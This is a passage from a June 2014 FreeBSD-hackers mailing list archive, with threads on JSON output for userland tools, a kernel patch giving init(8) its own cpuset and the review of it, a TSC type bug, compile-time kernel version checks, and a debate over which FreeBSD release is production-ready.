centralize as much string parsing as = possible into a single library, which can be rigorously analyzed (and = optimized!). >=20 > Imagine if geom didn't have to speak XML natively, but rather used a = supported-everywhere-in-base data structure that users could convert = into XML if they need it. Desktop applications are going to start = requiring structured data passing via kdbus-like interfaces (currently = based on GLib's GVariant), so we might as well have a structured = representation that we like and are able to provide ABI support for = (and, in the kdbus case, can possibly be converted to/from GVariant as = required). ---- There is the long option idea of David: > =46rom : David Chisnall > Subject : R=E9p : [Machine readable output from userland utilities] = report > Date : 2 June 2014 16:31:11 > To : Zaro Korchev > Cc : soc-status@freebsd.org >=20 > On 2 Jun 2014, at 12:43, Zaro Korchev wrote: >=20 >> At the moment both ls and vmstat are told to output JSON by = specifying the -O option. However as I discussed with my mentor, this = will be changed. The idea is to use an environment variable instead of = the -O flag. >=20 > I don't like the idea of using an environment variable, because this = is something that you might want to control on a per-command basis = within a pipeline. Especially with respect to incremental adoption, if = you have some commands that will emit their default format, which is = sent to sed / awk whatever, and some that will emit json natively, you = don't want to suddenly have the output format from the legacy tools = change once they gain machine-readable output support. >=20 > One *very* important thing to do is standardise the command-line flag = that is used to specify the output format. This may involve also = converting some of the tools to use getopt_long if they don't already = (lots of tools already use most single-digit options, so there's no = possibility to define a single-letter flag that will be useable on all = tools). =20 >=20 >> I understand your concerns about multi-threading. The idea is to have = functions that serialize the object in an allocated buffer as it is = constructed. Here is a more detailed example of what I mean: >=20 > It would be better to has some stream output API as the default. If = one back end only supports writing to buffers, then you can add an extra = alloc / write / free sequence to hide it, but it would be good if the = interface understands writing directly to file descriptors. If the back = end natively supports streaming, then you don't need to buffer the = output. As you have more experience I believe you can decide which is the best. I like the pipelining and the long option idea the most. At the moment = I'm working on porting more tools to use libsol so this decision is not = urgent. I can change how the format is specified easily. Zaro From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 3 18:15:16 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 31792D94 for ; Tue, 3 Jun 2014 18:15:16 +0000 (UTC) Received: from mail.ipfw.ru (mail.ipfw.ru [IPv6:2a01:4f8:120:6141::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id BDCC2271E for ; Tue, 3 Jun 2014 18:15:15 +0000 (UTC) Received: from [2a02:6b8:0:401:222:4dff:fe50:cd2f] (helo=ptichko.yndx.net) by mail.ipfw.ru with esmtpsa (TLSv1:CAMELLIA256-SHA:256) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1WrpK6-000H6q-GI; Tue, 03 Jun 2014 18:04:18 +0400 Message-ID: <538E104D.3000904@FreeBSD.org> Date: Tue, 03 Jun 2014 22:13:33 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.0.1 MIME-Version: 1.0 To: Konstantin Belousov Subject: Re: Permit init(8) use its own cpuset group. References: <538C8F9A.4020301@FreeBSD.org> <20140602164850.GS3991@kib.kiev.ua> In-Reply-To: <20140602164850.GS3991@kib.kiev.ua> Content-Type: multipart/mixed; boundary="------------040501050600090800020807" Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jun 2014 18:15:16 -0000 This is a multi-part message in MIME format. --------------040501050600090800020807 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02.06.2014 20:48, Konstantin Belousov wrote: > On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: >> Hello list! >> >> Currently init(8) uses group 1 which is root group. >> Modifications of this group affects both kernel and userland threads. >> Additionally, such modifications are impossible, for example, in presence >> of multi-queue NIC drivers (like igb or ixgbe) which binds their threads to >> particular cpus. >> >> Proposed change ("init_cpuset" loader tunable) permits changing cpu >> masks for >> userland more easily. Restricting user processes to migrate to/from CPU >> cores >> used for network traffic processing is one of the cases. >> >> Phabricator: https://phabric.freebsd.org/D141 (the same version attached >> inline) >> >> If there are no objections, I'll commit this next week. > Why is the tunable needed ? IMO it is more reasonable to create a new > cpuset always, at least I cannot explain why the existing behaviour Initially I've planned to make this behavior to be default. However I though someone will complain on changing defaults. That's why I've introduced the tunable for that. > is useful. If creating new cpuset unconditionally, you could consider > doing it in kernel in start_init(). You would also need to update the > cpuset(2) man page, which states that cpuset 1 is set for all processes. Please take a look on the new version doing this (also updated in phabricator, https://phabric.freebsd.org/D141 ). > > Still, see comments below for the patch. > >> Index: sbin/init/init.c >> =================================================================== >> --- sbin/init/init.c (revision 266306) >> +++ sbin/init/init.c (working copy) >> @@ -47,6 +47,8 @@ static const char rcsid[] = >> #include >> #include >> #include >> +#include >> +#include >> #include >> #include >> #include >> @@ -320,6 +322,19 @@ invalid: >> warning("Can't chroot to %s: %m", kenv_value); >> } >> >> + if (kenv(KENV_GET, "init_cpuset", kenv_value, sizeof(kenv_value)) > 0) { >> + if (getpid() == 1) { > If you use the && operator for conditionals instead of two if()s, the nesting > level of the block can be reduced. > >> + cpusetid_t setid; > The variable must be declared at the function start. > >> + >> + setid = -1; > Why do you need to initialize the variable ? > >> + if (cpuset(&setid) != 0) { >> + warning("cpu set alloc failed: %m"); >> + } else { >> + if (cpuset_setid(CPU_WHICH_PID, 1, setid) != 0) > This could be else if () again to reduce indentation. > >> + warning("cpuset_setsid failed: %m"); >> + } >> + } >> + } >> /* >> * Additional check if devfs needs to be mounted: >> * If "/" and "/dev" have the same device number, >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" --------------040501050600090800020807 Content-Type: text/x-patch; name="D141.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="D141.diff" Index: lib/libc/sys/cpuset.2 =================================================================== --- lib/libc/sys/cpuset.2 +++ lib/libc/sys/cpuset.2 @@ -25,7 +25,7 @@ .\" .\" $FreeBSD$ .\" -.Dd February 14, 2014 +.Dd June 03, 2014 .Dt CPUSET 2 .Os .Sh NAME @@ -52,7 +52,9 @@ Processor sets contain lists of CPUs that members may run on and exist only as long as some process is a member of the set. All processes in the system have an assigned set. -The default set for all processes in the system is the set numbered 1. +Kernel and userland processes uses different ones. +Kernel processes are started in set 1 while userland processes are started +in set 2. Threads belong to the same set as the process which contains them, however, they may further restrict their set with the anonymous per-thread mask. Index: sys/kern/init_main.c =================================================================== --- sys/kern/init_main.c +++ sys/kern/init_main.c @@ -702,6 +702,7 @@ GIANT_REQUIRED; td = curthread; + td->td_cpuset = cpuset_pid1(); p = td->td_proc; vfs_mountroot(); Index: sys/kern/kern_cpuset.c =================================================================== --- sys/kern/kern_cpuset.c +++ sys/kern/kern_cpuset.c @@ -722,7 +722,7 @@ * system. It is initially created with a mask of all processors * because we don't know what processors are valid until cpuset_init() * runs. This set is immutable. - * 1 - The default set which all processes are a member of until changed. + * 1 - The default set which all kernel processes are a member of until changed. * This allows an administrator to move all threads off of given cpus to * dedicate them to high priority tasks or save power etc. */ @@ -752,16 +752,38 @@ */ set = uma_zalloc(cpuset_zone, M_WAITOK); error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, 1); - KASSERT(error == 0, ("Error creating default set: %d\n", error)); + KASSERT(error == 0, ("Error creating default kernel cpuset: %d\n", + error)); /* * Initialize the unit allocator. 0 and 1 are allocated above. + * Set 2 is reserved for init. */ - cpuset_unr = new_unrhdr(2, INT_MAX, NULL); + cpuset_unr = new_unrhdr(3, INT_MAX, NULL); return (set); } /* + * Creates another cpuset for init process. + * + * 2 - The default set which all userland processes are a member of until + * changed. This allows an administrator to move all threads off of given + * cpus to dedicate them to high priority tasks or save power etc. + */ +struct cpuset * +cpuset_pid1(void) +{ + struct cpuset *set; + int error; + + set = uma_zalloc(cpuset_zone, M_WAITOK); + error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, 2); + KASSERT(error == 0, ("Error creating default userland cpuset: %d\n", + error)); + return (set); +} + +/* * Create a cpuset, which would be cpuset_create() but * mark the new 'set' as root. * Index: sys/sys/cpuset.h =================================================================== --- sys/sys/cpuset.h +++ sys/sys/cpuset.h @@ -115,6 +115,7 @@ struct proc; struct cpuset *cpuset_thread0(void); +struct cpuset *cpuset_pid1(void); struct cpuset *cpuset_ref(struct cpuset *); void cpuset_rel(struct cpuset *); int cpuset_setthread(lwpid_t id, cpuset_t *); Index: usr.bin/cpuset/cpuset.1 =================================================================== --- usr.bin/cpuset/cpuset.1 +++ usr.bin/cpuset/cpuset.1 @@ -25,7 +25,7 @@ .\" .\" $FreeBSD$ .\" -.Dd January 14, 2011 +.Dd June 03, 2014 .Dt CPUSET 1 .Os .Sh NAME @@ -81,7 +81,9 @@ .Pp There are two sets applicable to each process and one private mask per thread. Every process in the system belongs to a cpuset. -By default processes are started in set 1. +Kernel and userland processes uses different default sets. +Kernel processes are started in set 1. +Userland processes are started in set 2. The mask or id may be queried using .Fl c . Each thread also has a private mask of CPUs it is allowed to run @@ -163,9 +165,9 @@ belongs to restricting it to CPUs 0 and 2: .Dl cpuset -l 0,2 -c -p .Pp -Modify the cpuset all threads are in by default to contain only +Modify the cpuset all userland threads are in by default to contain only the first 4 CPUs, leaving the rest idle: -.Dl cpuset -l 0-3 -s 1 +.Dl cpuset -l 0-3 -s 2 .Pp Print the id of the cpuset .Pa /bin/sh --------------040501050600090800020807-- From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 3 19:32:10 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 997B3DB4; Tue, 3 Jun 2014 19:32:10 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 39C512E5B; Tue, 3 Jun 2014 19:32:10 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s53JW56R099229; Tue, 3 Jun 2014 22:32:05 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s53JW56R099229 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s53JW5mu099228; Tue, 3 Jun 2014 22:32:05 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Tue, 3 Jun 2014 22:32:05 +0300 From: Konstantin Belousov To: "Alexander V. Chernikov" Subject: Re: Permit init(8) use its own cpuset group. Message-ID: <20140603193205.GX3991@kib.kiev.ua> References: <538C8F9A.4020301@FreeBSD.org> <20140602164850.GS3991@kib.kiev.ua> <538E104D.3000904@FreeBSD.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="hNtiuZBcYkRjyNT4" Content-Disposition: inline In-Reply-To: <538E104D.3000904@FreeBSD.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jun 2014 19:32:10 -0000 --hNtiuZBcYkRjyNT4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Jun 03, 2014 at 10:13:33PM +0400, Alexander V. Chernikov wrote: > On 02.06.2014 20:48, Konstantin Belousov wrote: > > On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: > >> Hello list! > >> > >> Currently init(8) uses group 1 which is root group. > >> Modifications of this group affects both kernel and userland threads. > >> Additionally, such modifications are impossible, for example, in prese= nce > >> of multi-queue NIC drivers (like igb or ixgbe) which binds their threa= ds to > >> particular cpus. > >> > >> Proposed change ("init_cpuset" loader tunable) permits changing cpu > >> masks for > >> userland more easily. Restricting user processes to migrate to/from CPU > >> cores > >> used for network traffic processing is one of the cases. > >> > >> Phabricator: https://phabric.freebsd.org/D141 (the same version attach= ed > >> inline) > >> > >> If there are no objections, I'll commit this next week. > > Why is the tunable needed ? IMO it is more reasonable to create a new > > cpuset always, at least I cannot explain why the existing behaviour > Initially I've planned to make this behavior to be default. However I=20 > though someone > will complain on changing defaults. That's why I've introduced the=20 > tunable for that. >=20 > > is useful. If creating new cpuset unconditionally, you could consider > > doing it in kernel in start_init(). You would also need to update the > > cpuset(2) man page, which states that cpuset 1 is set for all processes. > Please take a look on the new version doing this (also updated in=20 > phabricator, > https://phabric.freebsd.org/D141 ). Code changes look fine. For the documentation changes, I find the formulation like 'userland processes are started in set 2.' incorrect. It would be cleaner to state that init(8) process is created by kernel with set 2 assigned. I also suggest to wait some more before committing the change, for possible complains from people who do know the reason to do it in the way of your first patch. --hNtiuZBcYkRjyNT4 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTjiK0AAoJEJDCuSvBvK1BhH0QAIHZ/Zx0ROzFqImhHoK8IDpO oMGW9z9+uhokfQu06lNDdkRion03aH/AlXm0JY0JA1HzZoKXDVUKxziV+qy5H13b rMHSZVO6ts7W9H826idnvGzO+O69BwkOtlIAA5ajbcwxzkopDs9SmbDkvaCUOiIM y/5SLD36gIPBERs+9RS9Z6zuYPcqNmIJcqBvaXHSxLf7RGuF0aWk8xQDlmjaK3p2 LZK8DmCG12gmWq+OcCw6gzSa28uPZdSciZsuiOw3+Wdbd9/c7aqZXVd2+SzIfurp EUwX21V/UGn9iMMsnKPMBf0EzC0gbndviFXaf6WPhW2vrzWYREqDByBZEGYQ3NxS yIefrUgFDeOAsxIR3SPi4A+DyTMu4BwMK9WnLXIVBWcxHruWx0fOOky53HAsvKMP p9hKpaZrA8qyar7Au4ZRfzGjNdg/MgpXL6aVOg043NSsszd8gPrjQFNtBm3Oun8a v7BdMp/Wfjr/jbMyxMFgZtuOc5w/rk1+fMPOyjRuveCCbiS2BYPFyYL8S5sPkN/j wQtKaM+HYt98sh3aKkzV/b72O2Yfm1Lb26rVnLdpd51js3orujyPx9BxUXTYq24A EGH53SOaWmc2a0my26meK+YwNW6QxXngELcHWUTLX4h4sogMDpx0seufTdsi8tY+ /ma0uiiD8nGUz7miDOFE =i492 -----END PGP SIGNATURE----- --hNtiuZBcYkRjyNT4-- From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 3 20:59:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1FC16489 for ; Tue, 3 Jun 2014 20:59:32 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D6D8F29E4 for ; Tue, 3 Jun 2014 20:59:31 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s53Kv2YT016755 for ; Tue, 3 Jun 2014 14:57:02 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201406032057.s53Kv2YT016755@elf.torek.net> From: Chris Torek To: freebsd-hackers@freebsd.org Subject: kern.timecounter.smp_tsc_adjust Date: Tue, 03 Jun 2014 14:57:02 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Tue, 03 Jun 2014 14:57:02 -0600 (MDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jun 2014 20:59:32 -0000 In x86/x86/tsc.c we have several routines for checking the TSCs across multiple CPUs in an SMP system, and then optionally adjusting them. We tried turning on the adjustment option and the system promptly crashed. This appears to be the culprit: static int test_tsc(void) { uint32_t *data, *tsc; (note the type of "*data") static void comp_smp_tsc(void *arg) { uint32_t *tsc; (again, uint32_t), but: static void adj_smp_tsc(void *arg) { uint64_t *tsc; The TSC_READ code uses rdtsc32(), so the types are more or less correct there, but maybe everyone should just use 64 bits throughout, and rdtsc()? In any case, at least one, and maybe two, routines need their types changed (and maybe the TSC_READ macro as well). Is it OK to just assume the upper 32 bits are in sync? Chris From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 02:12:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9B23C9D3; Wed, 4 Jun 2014 02:12:24 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 6543F23F2; Wed, 4 Jun 2014 02:12:24 +0000 (UTC) Received: from Julian-MBP3.local (etroy.elischer.org [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s542CCmI088493 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 3 Jun 2014 19:12:15 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <538E8076.1060809@freebsd.org> Date: Wed, 04 Jun 2014 10:12:06 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Benjamin Kaduk , Sreenivasa Honnur Subject: Re: How to Check kernel version in code? References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> <538BDDF5.708@mu.org> <409ccb2cf1dc027bdf6ff7ccbda08723.authenticated@ultimatedns.net> <538C8DDF.3030602@mu.org> <538D4C93.1060808@freebsd.org> <538D50B3.300@freebsd.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 02:12:24 -0000 On 6/3/14, 11:43 PM, Benjamin Kaduk wrote: > On Tue, 3 Jun 2014, Sreenivasa Honnur wrote: > >> I want to enable some code based on FBSD kernel versions like below: >> >> #ifdef FreeBSD_VERSION_10 >> >> #endif >> >> #ifdef FreeBSD_VERSION_9.2 >> >> #endif >> >> >> How can I do achieve this? > > __FreeBSD_version is defined in sys/param.h, and is incremented for > major version changes as well as other events of note. > > Increments are tabulated at > http://www.freebsd.org/doc/en/books/porters-handbook/freebsd-versions.html Realise though that this is hte version of the environment where the BUILD is done, not the environment where the program is running. The use of #if suggests this is what you want, but there are also dynamic ways to test. > > -Ben Kaduk > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" > > From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 15:07:14 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6DB039B; Wed, 4 Jun 2014 15:07:14 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 476F62CA5; Wed, 4 Jun 2014 15:07:14 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id B266EB98F; Wed, 4 Jun 2014 11:07:12 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: Permit init(8) use its own cpuset group. Date: Wed, 4 Jun 2014 11:06:11 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20140415; KDE/4.5.5; amd64; ; ) References: <538C8F9A.4020301@FreeBSD.org> <20140602164850.GS3991@kib.kiev.ua> In-Reply-To: <20140602164850.GS3991@kib.kiev.ua> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201406041106.11659.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Wed, 04 Jun 2014 11:07:12 -0400 (EDT) Cc: Konstantin Belousov , hackers@freebsd.org, "Alexander V. Chernikov" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 15:07:14 -0000 On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: > On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: > > Hello list! > > > > Currently init(8) uses group 1 which is root group. > > Modifications of this group affects both kernel and userland threads. > > Additionally, such modifications are impossible, for example, in presence > > of multi-queue NIC drivers (like igb or ixgbe) which binds their threads to > > particular cpus. > > > > Proposed change ("init_cpuset" loader tunable) permits changing cpu > > masks for > > userland more easily. Restricting user processes to migrate to/from CPU > > cores > > used for network traffic processing is one of the cases. > > > > Phabricator: https://phabric.freebsd.org/D141 (the same version attached > > inline) > > > > If there are no objections, I'll commit this next week. > Why is the tunable needed ? Because some people already depend on doing 'cpuset -l 0 -s 1'. It is also documented in our manpages that processes start in cpuset 1 by default so that you can use 'cpuset -l 0 -s 1' to move all processes, etc. For the stated problem (bound ithreads in drivers), I would actually like to fix ithreads that are bound to a specific CPU to create a different cpuset instead so they don't conflict with set 1. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:04:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 076DA9A for ; Wed, 4 Jun 2014 17:04:25 +0000 (UTC) Received: from kozubik.com (kozubik.com [216.218.240.130]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E893A283F for ; Wed, 4 Jun 2014 17:04:24 +0000 (UTC) Received: from kozubik.com (localhost [127.0.0.1]) by kozubik.com (8.14.3/8.14.3) with ESMTP id s54GqPwQ003222 for ; Wed, 4 Jun 2014 09:52:25 -0700 (PDT) (envelope-from john@kozubik.com) Received: from localhost (john@localhost) by kozubik.com (8.14.3/8.14.3/Submit) with ESMTP id s54GqJP7003219 for ; Wed, 4 Jun 2014 09:52:20 -0700 (PDT) (envelope-from john@kozubik.com) Date: Wed, 4 Jun 2014 09:52:19 -0700 (PDT) From: John Kozubik To: freebsd-hackers@freebsd.org Subject: There is currently no usable release of FreeBSD. Message-ID: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:04:25 -0000 freebsd.org website shows the following: Production: 10.0 Legacy: 9.2, 8.4 Upcoming: 9.3 You can't put an x.0 release into production (a bigotry that is *well deserved* in light of 5.0 and 9.0) ... and 9.2 and 8.4 are legacy ... and we all know that 9.3 is as far as the 9 branch is going to go, so that's a dead end for any serious deployment. Let's pretend for a moment that you are going to use FreeBSD for something other than FreeBSD development. Let's pretend that you have customers and shareholders and boardmembers and contracts and regulators. Which version of FreeBSD would you use ? From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:18:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2A22D732 for ; Wed, 4 Jun 2014 17:18:54 +0000 (UTC) Received: from systemdatarecorder.org (ec2-54-246-96-61.eu-west-1.compute.amazonaws.com [54.246.96.61]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client CN "localhost", Issuer "localhost" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id B9CF1298F for ; Wed, 4 Jun 2014 17:18:52 +0000 (UTC) Received: from nereid (84-253-211-213.bb.dnainternet.fi [84.253.211.213]) (authenticated bits=0) by systemdatarecorder.org (8.14.4/8.14.4/Debian-2ubuntu2.1) with ESMTP id s54HHvZ7004300 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT) for ; Wed, 4 Jun 2014 17:17:58 GMT Date: Wed, 4 Jun 2014 20:18:36 +0300 From: Stefan Parvu To: freebsd-hackers@freebsd.org Subject: Re: There is currently no usable release of FreeBSD. Message-Id: <20140604201836.7fc89334233299c390bc9412@systemdatarecorder.org> In-Reply-To: References: Organization: systemdatarecorder.org X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.22; amd64-portbld-freebsd11.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:18:54 -0000 > You can't put an x.0 release into production (a bigotry that is *well > deserved* in light of 5.0 and 9.0) ... and 9.2 and 8.4 are legacy ... and > we all know that 9.3 is as far as the 9 branch is going to go, so that's a > dead end for any serious deployment. ? For example, Solaris 10 was the first *production* release Sun sent out some years back. Followed by Update 1, 2, and so on later. If you dont really need FreeBSD 10.0 you always can use 9.2. > Which version of FreeBSD would you use ? For example on our side, we need ZFS, DTrace, pkgng and some other features of FreeBSD 10. And thats what we plan to use it for our production installations. -- Stefan Parvu From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:20:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 29C6E87B for ; Wed, 4 Jun 2014 17:20:45 +0000 (UTC) Received: from qmta10.emeryville.ca.mail.comcast.net (qmta10.emeryville.ca.mail.comcast.net [IPv6:2001:558:fe2d:43:76:96:30:17]) by mx1.freebsd.org (Postfix) with ESMTP id 086D52A30 for ; Wed, 4 Jun 2014 17:20:44 +0000 (UTC) Received: from omta05.emeryville.ca.mail.comcast.net ([76.96.30.43]) by qmta10.emeryville.ca.mail.comcast.net with comcast id AHGd1o0010vp7WLAAHLjhS; Wed, 04 Jun 2014 17:20:43 +0000 Received: from [10.47.5.55] ([12.218.212.178]) by omta05.emeryville.ca.mail.comcast.net with comcast id 